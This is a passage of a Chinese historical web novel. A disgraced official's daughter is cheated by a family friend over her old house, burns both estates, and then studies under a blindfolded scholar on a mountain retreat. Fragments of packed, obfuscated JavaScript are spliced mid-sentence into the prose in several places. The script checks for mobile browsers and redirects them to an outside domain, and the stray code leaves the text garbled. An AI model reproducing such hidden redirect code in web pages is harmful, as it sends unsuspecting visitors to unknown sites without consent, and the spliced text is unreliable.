“解孤山何时关得住孟三小姐了,孟三小姐又何须翻墙呢。” 他又恢复了对她的称呼,很明显,他有些不悦。 孟知微:“我……我就想去看看。” “罢了。”他伸出手,从观展手里拿过来一个盒子,“你过来。” 孟知微愣在那儿。 直到他再度唤她:“小五。” 她才迅速反应过来,挪着身子过去。 她双手接过木匣子,顿时就感觉很沉,打开后,她几乎是惊讶地说的不出话,里头整整齐齐的码着一时间数不清的白银。 “可够?” 孟知微连忙磕了几个头:“先生大恩,知微没齿难忘。” “先别忙着谢我,这些是从你往后的工钱里预支给你的,往后洒扫学堂,可要勤快些。” 孟知微:“一定,一定。只是我洒扫学堂做些小工哪能预支这许多,往后知微定会还与先生的。” 她抱着这沉甸甸的银子喜不胜收。 面前的人不置可否:“我这只有这些散银,下山后记得分开几个钱庄换成银票,带着锁银一起去,你也方便些,记得,无论何时何地,你都不能露面。” “学生知道。” 孟知微把东西收起来,欢欢喜喜地回去叫锁银去了。 坐在椅子上的人望着远去的背影,叹了口气。 —— 孟知微还是追捕逃犯,她暂时不能露户籍,于是就住在黑市客栈里。黑市里鱼龙混杂,她为掩人耳目,这些天让锁银小心探查着,想买孟宅的到底有哪些人。 说来也巧,这些人里,有一个人是孟知微非常熟悉的。 孟府原先的府邸边上那户姓汤,当年汤老爷和孟父同朝为官,汤家主母杨氏和王氏交好,两家关系好到小时候孟知微直接能从后院开了门就往汤家去呢,只是后来汤老爷遭贬黜离开京城,汤家别院这才转头卖给了他人。 去年汤老爷升任回京,旧屋还旧主,汤家还邀请了孟家全家去他们的乔迁宴,两家邻里关系一直交好。 孟知微听说是因为汤家小姐虽觅的是上门女婿,但依旧想分院别住,杨氏不忍女儿远离,这才看中了孟家宅院。 汤家如今在朝上也是能说的上话的,且杨氏与母亲从前一直交好,是能信得过的,所以孟知微让锁银递了母亲留给她的短剑去打探消息,相邀相见。 不料这汤夫人一眼就认出这是王氏的东西,连夜托人带消息过来相见。 孟知微早早就到了约定的地点,确定杨氏是一个人过来后,才敢露面相见。 “汤夫人。” 汤夫人听到声音回头见到孟知微,眼里顿时就湿漉漉一片,起身相迎:“知微……你父母的事,终究是你汤伯父人微言轻,在朝上帮不上忙。” “汤夫人莫要这样说,此事牵扯甚多,又怎是汤伯父一言就能解决的呢。” 汤夫人:“我前些日子去看望你阿姊。” 孟知微连忙问:“阿姊可好?” 汤夫人:“她必然难过,但也要为着腹中孩子着想,索幸静养在庄子里,多的话我也不敢与她多说。” 孟知微:“我现在依旧不好露面,还劳烦汤夫人多多去看望我阿姊。” 汤夫人:“我会的。” 她上下打量一番孟知微,见她穿的朴素,全然没有从前锦衣玉食娇养在府的样子了,她拉起孟知微的手,“知微,你如今可好?住在何处?可要伯母帮你寻一个住处?” 孟知微本欲告知,可话到嘴边想起温先生的嘱咐,只是摇摇头说:“汤夫人放心,我如今一切安好,只是今日找您,是为了孟府的事……” “我自知你是为这事寻我的。”孟知微还未说完,就被汤夫人打断,“知微,伯母买孟宅一是为了你倾月姐姐考虑,二也是借着这个名头不忍孟宅沦落到他人手里啊,毕竟我们两家从来都是邻居,如今你父母虽亡故,可我怎么忍心看到孟宅沦落到他人手里呢……” “汤伯母。”孟知微连忙跪下。 “你这孩子,你这是作何?” “知微眼下身份尴尬,还请汤伯母出面帮我留下孟宅,此等大恩,知微代阿姊兄长先行谢过。”她打开带来的木匣,里头整整齐齐的叠了好许的银票。 汤夫人:“你这是……” 孟知微:“孟府变卖,竞价者高得,汤夫人尽管叫价,若是不够,知微后续还会筹资还与,且兄长回京前,府邸一直可由倾月姐姐居住。” 汤夫人:“你这是说的什么话,你既安然无恙,孟宅总是要还与你的。”她看了一眼眼前的银票,一咬牙,“也好,汤家这边的加上如今你拿来的,想着京城也无人能争了,你既然开口求我了,我总是要帮你母亲保住孟宅的。” 孟知微感激涕零:“多谢汤夫人。” 汤家如今在朝中局势明朗,汤家买孟家的宅院也是师出有名,且加上她的筹码后报价更是吓人,京中应当是无人能争了。 如此,她也可心安了。 孟知微盖上斗篷后告别后,和锁银一起消失在夜里。 汤夫人望着两人远去的背影,手背揩过眼角的泪,一改刚刚的涕零状态,站直了身体,唤了仆从,出了亭子后,软轿吱呀吱呀的,一路走了。 —— 锁银一得到消息就慌忙告知孟知微。 “小五!小五!”为避免引入注意,锁银在外头都是改了口叫的。 “如何了?” “孟府已经被汤家买下了,户部红契已签!” “真的!”孟知微也跟着高兴,“走,我们按照先前的预定一样去风雨亭等汤夫人。” “我这就去准备。”锁银匆匆而去。 “等等。”孟知微又把锁银叫住,犹疑了一下,把头上唯一那支钗环卸下来递给她,“锁银,你顺便去街铺上买一个好看的首饰盒子,倾月姐姐出嫁,我没有什么好送的。” 锁银阻止:“那可是您眼下最好的东西了。” “汤家帮了我这么大个忙,我不能一点表示都没有,去吧。” 锁银叹了口气,随即也去了。 两人按照之前约定的,在风雨亭等汤夫人过来,可左等右等,等到天都黑了下来,也不见人来。 “莫不是出了什么事,我们一起去汤府看看。” 孟知微带着锁银去了汤府,还未靠近,便见得汤府门口红灯高悬,车马相迎,沸反盈天,连带着一旁的孟府都张灯结彩,几个小厮正爬上梯子,那“汤府”二字牌匾挂了上去,被取而代之的“孟府”二字就这样被丢弃在一旁,落得一个“腰斩而亡”的下场。 孟知微带着帷帽不便露面便让锁银去前面打探消息。 往来宾客多,孟知微拐进巷子里等消息,她搓着自己手里那个精巧的首饰盒,余光略过那块折断了的“孟府”,心里滋味别扭。 月光悄无声息地在她身后把她自己的影子拉得长长的,偶尔瞥见,像是没有没有五官的伥鬼。 “阿堇,阿堇。”锁银终于是回来了,但她眉头紧簇,神色不安。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16036004|178679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “如何?”孟知微焦急道。 “我找了上次与汤夫人一起来的小厮,和之前说好的那般用暗语,谁知那人转头不认,还撵我出来,说今天有贵客,不容我打扰。” “他们这是不想认了?”孟知微把首饰盒递给锁银,走出巷子。 —— 汤府的那些仆从正打算关门,孟知微上前:“等等。” 那原先跟着汤夫人的小厮见到她,忙指挥着人把门关起来,锁银一把冲上去,“我们要见汤夫人。” 那小厮却蛮横地推了锁银一把:“我们夫人忙,两位请回吧。” 孟知微去扶锁银。 “你!你们明明说好了为何不认!”锁银气不过,起来往前一步过去理论。 “哟哟哟,您说什么呢?今儿府上要宴请宾客,请的都是有头有脸的人物,您姓甚名谁啊,等等,我瞧瞧,不会是孟家三小姐吧,那可是在缉拿榜上的人,莫不是我今儿撞了大运,把你们押送官府说不定我还能还能大赚一笔呢。” 锁银:“我呸你个只会看门乱叫的狗,这儿有你说话的地方吗,让你主人出来敢做不敢当的缩头乌龟,你算是个什么鸟东西,跟你姑奶奶在这儿叫上腔调了。” “你个贱丫头……你……” 锁银:“怎么了心虚了是不是,看门狗,仗势欺人……” 那小厮骂不过锁银,气不过扬起手掌要过来。 “啪”一声。 那小厮打完人自己都懵了。 帷帽落在地上,被这阵力道打到一边的人肩头瘦削,发丝有些凌乱。 一阵北风里,那个被打的女子眼睛里什么都没有,月白色的脸庞上顿时有一道红掌印。 那小厮有些慌,虽然孟家已经获罪,但他身为奴籍,真的动手打了曾为官宦人家的子女,也是有些惊慌失措的。 锁银连忙捡起帷帽上来查看情况:“小五,小五你没事吧。” 她没想到孟堇会出来替她挡这一下。 孟堇只是摇摇头:“没事。” “我们走吧。” 锁银:“可是,可是银子没拿回来,孟府也没有拿回来。” 孟堇只是看着地面上月光照射着她的影子,依旧像只幽魂:“拿不回来了,她从头到尾都没想过帮我,她只是利用我。” 锁银:“可是……” “走吧。” 面前的人像片秋日已尽凛风来临时的叶子,单薄得一碰就碎。 —— 一墙之隔,汤府锣鼓喧天,丝竹不绝于耳。 红烛映照,灯笼高悬,天却又在诡异的下雪。 墙的另一边的孟府,除了门头改换了后,里头依旧是一片安静,黑的看不见五指。 以之为界的墙头上,站着一个素衣女子,面容清丽,身形单薄。 上次她站在这里,还是禁军闯入的时候。 借着火光,她看到院子里东倒西歪的石凳,父亲给她做的秋千架的绳索几乎要断开,荷花池里全是败了的植物残骸。 从前孟府人丁兴旺,父亲在朝春风得意,汤家官居且不过从四品,比邻而居,自然时常走动。 但有些人因势而来,自然也会因势而去。 如今这个宅子改头换面要姓“汤”了。 孟知微嘴角露出一个讥讽。 温先生说的没错,家都没了,她守着这堆死物做什么。 下一秒,她手上拿着的火把倒头而落,淋满油的墙角瞬间燃起一仗高,由这一道城墙而起,接连孟汤两家,火光连接那片丝竹不止的灯海。 在这之后,欢声笑语被大声抢呼代替,那些沉浸于歌舞的体面人,灰头土脸忙不急地掩鼻而逃。 与其往后每每路过都要看到高悬在上的“汤”来提醒她的天真和可笑,倒不如一把火,烧了孟汤两家,烧了从前的虚情假意,烧了大昶皇都内里腐烂外表富丽的遮羞布。 孟知微站在火光里,脸上沾着不知道什么时候抹上的灰,亲眼看着自己熟悉的一切,在自己眼里,烧成一片灰烬。 她纹丝不动,后知后觉地才有一种痛感,如同削骨去毒,亲自挖去一帧一帧的记忆。 只是她能烧得了汤家,却拿不回先生借与她的钱财。 她无比责怪自己,也不知道如何回解孤山交代,她似乎什么都做不好,正如同应了兄长和先生所说的那句,她就应该忘记过去的一切,忘记自己姓孟,承认自己力量孱弱,放弃一切抵抗,老实地躺在命运的案板上。 “小五。” 呼天抢地的救火声中她幻听了。 “小五。” 她确认那不是幻听,她猛然回头。 一边是火光盈天,一边是落雪深夜。 温先生就站在那明与暗的分界线上。 他身上带着寒夜落雪依旧有的寒冷,却也阻止不了火光跳跃染上的盈余光辉。 他拿着那个装着她银票的木匣子。 平静地唤她的名字。 11. 菩萨蛮 只有车辙轱辘转动声的夜里,孟知微低头,不说话,她的眼眶发酸,像是许久之后她才反应过来,自己亲手烧了孟宅。 付诸一炬,再也无法复原了。 眼前出现了一块丝绢拍子,孟知微抬头,却见递帕子过来的人说:“擦一擦脸,全是灰。” 她这才接过:“谢过先生。” 上次的方巾其实都还在她那儿,如今又给她一块。 容纳两人显有空余的马车厢里,她的语气是哽咽的,甚至身体都还有些发抖,但今晚这场惊动巡防营烧了汤孟两府的火,的确是她放的。 “可有哪里伤着?”他不由地再问她。 “没有了。”她抬起眼睛来,眼底是湿漉漉的:“先生,抱歉。” 温淮川:“与我有什么抱歉的。” 孟知微:“若不是您让追风跟着我,我只能落得个银票白手让人的下场,我没有脸回解孤山。” 温淮川:“即便这银子拿不回来,整个汤府都被你烧了,不亏。” 孟知微:“可我……可我也因此烧了自己的家。” 温淮川顿了顿之后,才出声:“烧了也好,旧屋冠以新姓,也是你不忍见的。” 孟知微攥紧了手里的帕子:“都怪我错信与人。汤府从前与我家交往甚密,汤夫人一见我,眼底满是对孟家的同情和难过,我以为总还有些情谊在,可谁知汤家图我宅院在前,拿我钱财在后。” 温淮川:“汤夫人知道你如今处境尴尬,便是欺你打碎了牙也只能往肚子里咽。” 孟知微:“那从前那般,从前听闻我母亲咳嗽,汤夫人摘了枇杷叶子亲自熬了汤药送过来,我和阿姊年年生日,汤家礼物都精心挑选,先生——” 她身体急切,往前一步,不由地攥住他的衣袖,毫无躲避地看着他,问他:“所以世间除了父母亲缘以外,人与人之间都是否都是因利而聚,毫无真情?” 她说话间眼底已是如春雪融一般了。 他该如何回答这个问题呢,他心里是想说是的,利益是最稳固的“感情”,但作为一个学者以及师长,他又怎能偏颇地说自己认为的客观呢。 “世间大智比不过“放下”二字,不执拗于从前和过去,不建立期许和期望,如此,每一分真心都是意外的收获。” 温先生的话语还在耳边,孟知微看着远方京城里逐渐熄下去的火焰,看着自己被载着缓缓地驶向远方。 她眼底闪过稍许的迷茫,更不知未来的方向在哪里。 —— 已入夜许久,书斋里依旧点着一盏油灯。 院外观展、追风、锁银三个人聚在一块。 追风手里捏了把瓜子,一边磕一边疑惑:“这孟三小姐转性了?往常她可是到点就离开学堂的人。今日怎如此反常,可是先生布置的作业太多了?” 观展:“我也没有听先生说起这段时间有多的课业啊。” 锁银拿过追风手中的瓜子:“小五这些日子都是这样,没事总是把自己关在学堂里温习功课,不知道是不是上次下山的事。” 追风点了点头:“是该学学,要不是我,咱先生这么多年的积蓄就也跟着付之一炬了,想到这点我现在都后怕着呢。先生常说,没事多读书总是好事。” 观展乜他一眼:“那怎么没见你小子多读书呢。” 追风把自己面前抱着的那把刀往前撑了撑:“我走的不是读书的那个路子……” “夜已深了,你们三个不去睡觉,在这里做什么?” 三人听到身后的声音,忙站得端端正正的。 “先生。” 身后的人穿了一件单衣,眼纱未卸,循着他们原先望着的方向看去,看到书斋里还点着一盏灯,窗户上的倒影坐的端正,翻页的动作都被烛火放大。 “小五最近读书发奋是好事,但也怕她熬坏眼睛,于是我们三个就在这儿想想办法。” 温淮川遥遥看一眼,问道:“那你们可想出什么办法了没有?” 三人齐刷刷摇头:“没有。” 温淮川:……. “你们回去吧。” 三人这才各自散了。 温淮川走到书斋边上,想叩一叩门,却又从虚掩的门缝里看到坐在那儿看书的人眉头紧锁。 烛火幽暗,灯油枯竭,实在不是个适合学习的地儿。 这样下去眼睛迟早要坏。 书斋里点了两盏灯,一盏在入门处,一盏则在她的书边上。 他站在门后看了一会儿,眼神落到脚面前的一粒石子,他拿起来,指尖轻轻一捻,一阵风似的,石子从门缝里进去,瞬间灭了那烛火的芯。 屋子里顿时暗下来。 他以为她会见好就收,可谁知她只是“欸”了声后,又站了起来,走到门边,把门边上的那盏油灯挪到她面前去了,然后又恢复刚刚的样子专心看起书来。 他叹口气,只得叩了叩门。 “谁?” “我。” 门打开后,外头的灯火都比屋子里要亮。 “先生,您来的正好。”她却一脸欣喜,“我正在读《韩非子·五蠹》,里头有句话说的我不大明白。” 她的书已经递过来了。 “哪句?”他拿过她桌面上的灯盏,给她照明。 微弱的光影里,烛火光让她额间上浮起的一层盈毛都清晰可见。 他挪开眼,落在她的书面上,见她用手指指着书中那句话,一字一句地念到:“上古竞于道德,中世逐于智谋,当今争于气力。这其中的气力指的是什么?” 他缓缓解释:“可分开解,对内则是制度法纪,对外则是军事实力。” “原是这样。”孟知微这才一边点头一边抬头看他,见到来人依旧是蒙着眼纱,于是又问他,“先生,屋子里光弱,您蒙着眼纱还能看见?” 她倒也知道屋子里光弱。 而后她又问到:“您总是这样蒙着眼纱吗,您眼睛要紧吗?” 温淮川:“旧疾,无妨。” 孟知微:“我爹爹常说病三分靠治,七分靠养,春寒未过,夜露尤深,您这么晚了怎么还出来走动?” 温淮川:“我见书斋点着烛火,以为追风忘了,于是过来看看。只是夜深了,为何小五还在这里。” 孟知微:“哦,我啊,我这不是白日里读书没读明白吗,古人总说读书百遍其义自见,我想着我多温习温习功课,学的就能更快些。” 温淮川:“明日再学吧,早些休息。” 他作势要去吹灭那盏油灯。 “欸。”孟知微拦下他,“先生,您别着急,我再看会。” 眼前的人听到劝阻后停下动作来。 烛火灯影里,他只有一个轮廓,他的身形对她来说有些高了。 因为总是见不到一个人的眼睛,所以总是不能具体化感受他的存在。 但此刻他手里拿着那盏油灯,灯火透过轻纱隐约还原出他眼睛的轮廓——是狭长又内敛的。 眼里的东西虽然看不清楚,但轮廓是如同月下通竹般清雅的。 他唇边微微扬起,无奈摇头道:“小五,朱门烛龙衔耀,蓬户萤火借光。” 意思是说豪门人家用起灯油蜡烛来毫不费劲,但对于普通人家来说,灯油蜡烛是极为奢侈的东西。 孟知微反应过来,从前孟家不能说铺张浪费,但这些消耗品上没有苛待过她,她一下子没适应过来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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唐子玉到了一眼案桌,把对面人面前的那壶茶挪到了自己面前,“温确啊温确,我为了你的事费心费力的,你倒好,到现在连杯茶都要我自己动手倒。” 温淮川自顾自地端起自己面前那杯往嘴边送:“陈年旧茶,入不了唐阁主的眼。” “用我时喊我子玉,不用我时喊我唐阁主。” 温淮川收回他面前的茶壶:“你说是不说?” “说说说。”唐子玉连忙把茶壶挪回来,“你这人忒没情趣,难怪孤苦孑然,一把年纪了连个妻室都没有。” 温淮川没心思与这多嘴的人绕:“我看你这百晓阁阁主也是徒有虚名。” 唐子玉:“笑话,你不知道我百晓阁为何要隐退到这穷山恶水里来,就是因为我太过于耀眼,从江湖到庙堂,多少人盯着我这块肥肉呢,我要不藏起来,我天天能被你这种人烦死。这天底下没有我想查查不出来的事。你若想知道——” 他伸出手来:“老规矩,一个字,百两银。” 唐子玉刚说完,面前的人就从桌案下拿出一个木匣子,当着他面一打开,里头竟然金光灿灿。 唐子玉眼睛都瞪出来了,这一毛不拔的铁公鸡把老婆本都拿出来了! 温淮川:“有多少字我都要。” 唐子玉一把搂过面前的金子,笑颜如花:“好说好说。温先生想问什么都尽管问。” 唐子玉笑着搂完装进自己的兜里,又觉得面前的人久久没有动静,于是就抬头看去。 风月堂前的雪已近乎融完了,还有些残骸嵌入泥地与砖石的缝隙里,妄图最后残留一会。 堂前打扫院落的那个女子,洒扫卖力。 不过一月不见,她身形倒是如同春来柳条抽枝般蹿的快。 唐子玉只听见面前的人问他:“她是与不是?” 那些经年的秘密本就该如同这融雪一般渗进泥里,化作无法被收拢的水汽。 可偏偏唐子玉只能摇头,回答一个“是”字。 12. 如梦令 (一年后) 解孤山的日月过得极快。 春去秋来,又一个冬日要降临。 唐子玉一脸愁容,腰间栓了两瓶酒,皱着眉头去了风月堂。 风月堂今日修葺屋舍,从里到外没一个落脚的地儿,唯有院中一个庭院能摆下一桌茶盏。 追风和观展站在一旁,亭子下银发如瀑的人煮着一壶茶。 唐子玉不请自来,也不论面前的是不是茶盏,放下自己的扇子就要添上酒,却被他原先放在那儿的扇子挡住了。 他抬眼,面前蒙眼的人准确无误地用他的扇子挡了自己的酒。 唐子玉:“我说老温,我自己带的酒,你还不让我喝了?” 面前的人把酒盏从唐子玉手下挪走,放置到一边,轻飘飘说一句:“有酒气。” 唐子玉啧一声:“我买了行不行,这杯子我买了。” 温淮川:“杯盏与壶是一套的。” 唐子玉脸一黑,又咬牙一狠心:“行,一套都买了。” 杯子这才落到他手下来。 唐子玉骂骂咧咧:“果真是近墨者黑,我算是知道小孟堇这抠搜样是随谁了,你们师徒简直一模一样。” 温淮川却不紧不慢:“勤俭节约是美德。” 唐子玉:“勤俭节约?你瞧瞧你如今这风月堂上上下下的,就说这月影纱,就是一匹千金难求——” 唐子玉指着叉着腰在那儿盯着小厮干活的孟知微说,“这小孟堇去年冬日从我院中拿了酸得掉牙的梅子,闷声酿了酒偷偷拿去市井上卖,结果供不应求,如今赚的钱都够买你一屋子的月影纱了,你说这一年咱俩分工合作带她,结果呢——” 唐子玉越说越气,指着手中两瓶酒,“我买这梅子酒都要寻人问号!我在长街排了许久,才限购了两瓶。这梅子酒的梅子是从我梅园出去的,我还花了银子买回来,敢情这勤俭节约是节约到我头上来了!” 坐在面前的人不恼反笑:“是你自己说梅子无用的,说要多少都随她去拿。” 唐子玉懊恼地扇着扇子:“同样都是徒弟,怎的小山就没小五开窍。” 唐子玉口中的小山是城郊牛员外的小儿子。牛家大郎不学无术是个养废了的。牛员外老年得子生了二郎,对这个孩子宠爱有家,因抓周的时候这孩子拿了个星盘,牛家认为他日后必是堪舆大才,机缘巧合知道了唐子玉的身份,托了许多关系来想让唐子玉收他为徒,唐子玉本是怎么都不肯收的,直到去年,不知为何,松口收了他做徒弟,这一年倒是成了孟知微的伴读。 温淮川说到小山,笑着摇摇头:“你院子里那些梅子,怕都是小山背出去的吧。” 唐子玉忿忿:“叛徒!跟着外人一起诓自己的师父!还有小五——” 他一把夺过温淮川手里的茶盏,置在桌上,“她拿我的梅子卖给我梅子酒,用赚来的钱给你买月影纱,这不相当于从我兜里拿钱放你兜里吗?亏我这年还对她悉心教导!” 温淮川手里一空,也不与他计较,反倒问他:“这一年你带她什么了?” 唐子玉抓过一把松子,振振有词:“品德!君子之道,我言传身教。” 温淮川:“既然如此,那半年前,她在山下与一渔民发生口角,白日骂不过就在夜里凿田放鱼。三月前她酿酒下山,把一猎户当做匪盗打了一顿,惹得人上门来追讨公道,这些也是你教的?” 唐子玉剥着松子:“这些你可不能怪到我头上来,要检讨的是你自己,赔人道歉都是你出面了,她能长记性?” “就算不说这些。”唐子玉絮絮叨叨地说,“但你说琴棋书画了,琴和棋就是我教的,还有那些插花点茶的风雅,也是我带着她学的。” 面前的人拂拂茶:“她弹琴时千山鸟飞绝,下棋时犹如盲者辨色。至于插花点茶,都是三分钟热度。” 唐子玉:“哎,温确,我教的不好,你教的就好了?” 温淮川抿茶:“周礼儒学她不大精通,但兵书尚可。偶有涂鸦,也有大师之风。” 唐子玉:“瞧你那得意的样儿!那是人家小五自己的天赋,与你何干。再说,我也不是什么都没教出来,小五虽然长在解孤山,但醉仙楼的招牌,我可一样都没少给她带啊。这样说来,小五也是我日日富养出来的,不至于日后遇上个男子,一两顿饭就给人拐跑了。” 温淮川:“花天酒地,我自然是比不过你。” 唐子玉纠正他:“那叫生活情趣。” 唐子玉扇扇子:“不过话说回来,咱俩是不是太过于宠她了,这一年我没少听到山下邻居的抱怨。” 温淮川:“那些事也不全是她的错,那些村民也多为不讲理的。况且。她如今再捅破天去,也不过是些招猫逗狗的祸事。我只希望她安稳一生。” 唐子玉长长叹口气,桌面上松子已经是一座小山了,他身体往后靠了靠:“你是这么希望的,可这小孟堇长啊长啊的,这解孤山怕是困不住她,梅子酒只是个开端,你可知她私下里几次讨问我过江湖之事。” 温淮川抬眼看他:“问你何事?” 唐子玉:“什么都问,只说想增长见识,但我有次看她在翻阅一些落灰了的兵书,她甚至对追风的轻功也很感兴趣,” 温淮川蒙在轻纱下的眉眼微皱。 “先生——”清脆的嗓音传过来。 孟知微这会子兴高采烈地过来,她见到唐子玉,笑颜如花:“唐阁主也来了。” 唐子玉拿起酒盏:“托您的福,从你那里买的酒,从你先生那儿买的杯具。” 孟知微憨憨一笑:“唐阁主真爱说笑,您那梅子落在园子里也只是腐烂入土罢了,多一份败景,我如今卖酒换了这月影纱,您来风月阁也觉得雅致许多,这样一算,您什么都没有花,就能看见修葺一新的风月堂,还能坐在风雅之中谈经论道的,岂不是美事一桩。再者,您买酒去哪儿都是要花银子的,您买我的酒,一样的银子,您还可以得到我发自肺腑对您的崇拜,您何乐而不为呢。” 唐子玉向温淮川告状:“你听听,你听听她这张嘴。我竟说不出半点不对来。” 孟知微自觉坐下来,给自己倒了杯茶:“因为小五说的都是事实。先生眼疾迟迟不见好,我听说这月影纱能挡日光,早早换上有利先生养病。” 唐子玉:“你倒是对你家先生好,对我怎不见好。” 孟知微点头:“我对您也是好的。” 她这话说的没心没肺,但眼神落在唐子玉面前的松子上,她“噫”了声,问到,“唐阁主不爱吃松子啊。” 唐子玉还没说话呢,孟知微就揽到自己面前去了,“正好,我正好爱吃。” 唐子玉正要去抢回,脚下一疼,他抬头看向对面的人,老狐狸面无表情,把自己眼前那碟松子也往她前送了送,他还不忘叮嘱:“莫要贪嘴,吃多了上火。” 孟知微:“我晓得的!” 唐子玉摇摇头。这老狐狸自从带了这小兔子后,狐狸是不像狐狸,兔子是不像兔子了。 唐子玉干巴巴的,又想起一事:“听说今年讲学大会提前了?” 孟知微吃到一半,抬头看人。 温淮川抿了一口茶:“早日讲完早日闭门谢客。” 唐子玉皱皱眉头问道:“既然你这身体差到如此地步,这讲学也不是非做不可,取消不就完了嘛。” 温淮川:“一年也就一次。” 孟知微放下手里那把松子:“先生,您今年这么早就要养病了吗?” 她袖子口上沾了不少的坚果碎末,原先抿茶的人听闻之后,放下茶盏,拂手给她袖子下的碎末掸走,而后说道:“今年犹寒,霜降后不日就便要下雪。” 孟知微闻言,想起去年她来解孤山,哪怕寒冬已散,但也常常听见风起时先生咳嗽。 若是寒冬大雪,入冬前先生怕不是要一直休养? 孟知微想到这里,一把去握唐子玉的扇子:“唐阁主,您游历四方,又掌不少奇门秘术,您就不能找个大夫,治治我家先生的病嘛?” 唐子玉心疼自己的宝贝扇子,试图抽回:“他自己就是个大夫,还是个来头不小的大夫,是死是活的要我操什么心。” 孟知微连忙说道:“医者不能自医。” 唐子玉:“你别费这个心了,我和你说,再好的大夫都……” 端坐在唐子玉面前的人咳了几声:“小五,去干活吧。” 孟知微还想说些什么,自家先生却再度发话,“讲学大会的事你也跟着观展一起做了。” “是。”孟知微只能应声退下。 秋风微凉,唐子玉往树下一躺:“她迟早也是要知道的,你不也从不避讳说你难有福寿的事嘛。” 温 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“再怎么说,庄曜虽不受重用,却也是中了进士入了内阁的人,朱公子您这样公然打人,怕是……” 朱骁双目一横:“怕是什么!” 朱家是当朝贵妃的娘家,天家富贵谁敢得罪,弹劾朱家这种事也就庄曜能干得出来。 帮庄曜说话的人缩回了脑袋去,断断续续说:“怕是,怕是不好,这毕竟是少师大人的学堂。” 朱骁:“若不是我爹硬逼着我来,我才不稀罕来这儿。什么天子少师,就是个满嘴迂腐之论的瞎子,只是个名誉官,也亏得你们怕成这样?” 这下孟知微在外头站不住了,她随手从墙角寻了个半人高的棒槌,隔着人群试图敲那朱骁脑袋。 “住手。” 人群身后传来清冷的声音。 众人回头,只见原先去休憩的温先生已经带着两个随从过来了。 “学堂之上,启容你们闹事。”跟在他身后的少年抬着头颅,拔出双刀,顿时寒光一片,“谁在闹事,我管他姓甚名谁,杀了丢下山去。” 这下原先闹事的人顿时安静了,就连朱骁也愣住了,过了好一会儿,他像是挂不住面子,哼了一声,回自己的案桌座椅去了。 此刻已经被打得鼻青脸肿的庄曜站了起来,整理了一下自己的仪容仪表,给面前的人行了一个学生礼。 “多谢先生。” 这之后,讲学才继续了。 那朱骁大约是出了气,下半场就趴在那儿睡大觉,直到讲学结束,才大摇大摆地走了。 许是不想再和那些人有冲突,那庄曜等到人都纷纷下山之后,他才收拾好书本要走。 “庄公子等等。” 庄曜回头一看,来人是一个身形偏瘦小的小厮。庄曜见她一脸白净,没想起来有认识这个人。 “你是?” “哦。”孟知微解释道,“我受我家先生之托特来送行,庄公子自有文人风骨,不必理会那些腌臜之人。” 庄曜作揖行礼:“谢谢先生关心,贵族宗室自然不愿与我同流,勉励并未放在心上。” 孟知微却说道:“怎可不放在心上?你的脸都被打肿了哎。” 庄曜有一瞬间不知如何应对,他下意识想去摸自己的脸,谁知面前这白净小厮却说,“我放心,我已经给你报仇了。” “此话……此话怎讲?” 孟知微稍稍得意:“自然是以牙还牙,以眼还眼。” “也还他一个猪头样!” 13. 如梦令 朱骁坐的高门大车本来还好好的,但出了山后半道不知从哪里跑出来一匹白马。赶马的小厮连忙拉绳子,却没想到自家的马受了惊,不受控地朝岔路跑去。 岔路上都是高低不平的石子,这一拐马车的后车轮子崩了两个,马车失去了中心,连人带车滚到山坡底下去了。 这一滚,朱家公子连人带车地消失在山脚下。 听闻那朱公子被朱家找出来的时候,鼻青脸肿地摔成了个猪头,是走到哪儿都要被人捂嘴笑到哪里了。 唐子玉知道这事后,栓了两瓶酒,又去了风月堂。 他笑着摇摇扇子:“哎,我说你们师徒啊,是各有各的损法,你前脚就让人故意透露消息给小皇帝这朱骁在你这儿闹事,后脚你家小狐狸就问我要了那带机关的车轮子。” 温淮川提起这事也只是摇头:“我到不知,飞虎飞龙已经为她所用了。” 话 唐子玉:“这么好的稀有马匹,自然通人性,被你这样圈在山里岂不可惜,话说回来来,谁都知道钟离家覆灭后,中原可就再也找不到这种品的马,你这儿不仅有,还养了两匹,也不怕招摇?” 唐子玉说话间探寻地去看面前的人的表情,谁知蒙眼而坐的人却没有任何多余的表情,只是淡淡地说:“我是天子老师,有两匹雪域奇马又有什么奇怪的。” 唐子玉:“有雪域奇马不奇怪,奇怪的是今日朝堂上小皇帝把朱家骂了个狗血临头温淮川,打小报告这种事,你从前可不会做的。” 温淮川:“为何你就认准了我?那日这么多人在场,没准是谁多嘴了呢。” 唐子玉:“当今贵妃的弟弟,谁敢多这个嘴?我说,温确,我怎么越来越看不懂你了,你帮那个庄曜干什么,这个人虽然还算清流,但一无家世,二无党.派,且一根筋轴得很,你帮他他不一定会谢你的。” 温淮川:“我只不过是觉得他打扰清净,没有要帮谁。” 唐子玉也不纠结,打开带来的酒壶,给自己倒了一杯:“不管怎么说,小孟堇为了报答我的那两个''转弯就散''的车轮子,送了两坛梅子酒给我,也算是孝敬师长了。” 他喝了一口,张开手臂兴致高昂:“好酒!好酒啊!” 温淮川左手也拿过唐子玉面前的酒盏,给自己倒了一杯。 唐子玉神情跟见了鬼一样:“变了天了,温淮川,你怎么喝起酒来了?” 温淮川:“喝一杯无妨,讲学也结束了,再往后就闭门谢客了,想到这儿,便觉得松快。” 唐子玉稍稍停顿,而后又拿起扇子:“欸,我说,西南药王谷那儿,据说有一味奇药,你不去看看?” 梅子酒入口甘甜,回味清爽,温淮川唇边淡然抹上笑:“留给需要的人吧。” 唐子玉:“你不需要?” 一杯酒入喉后,温淮川就放下了杯盏。 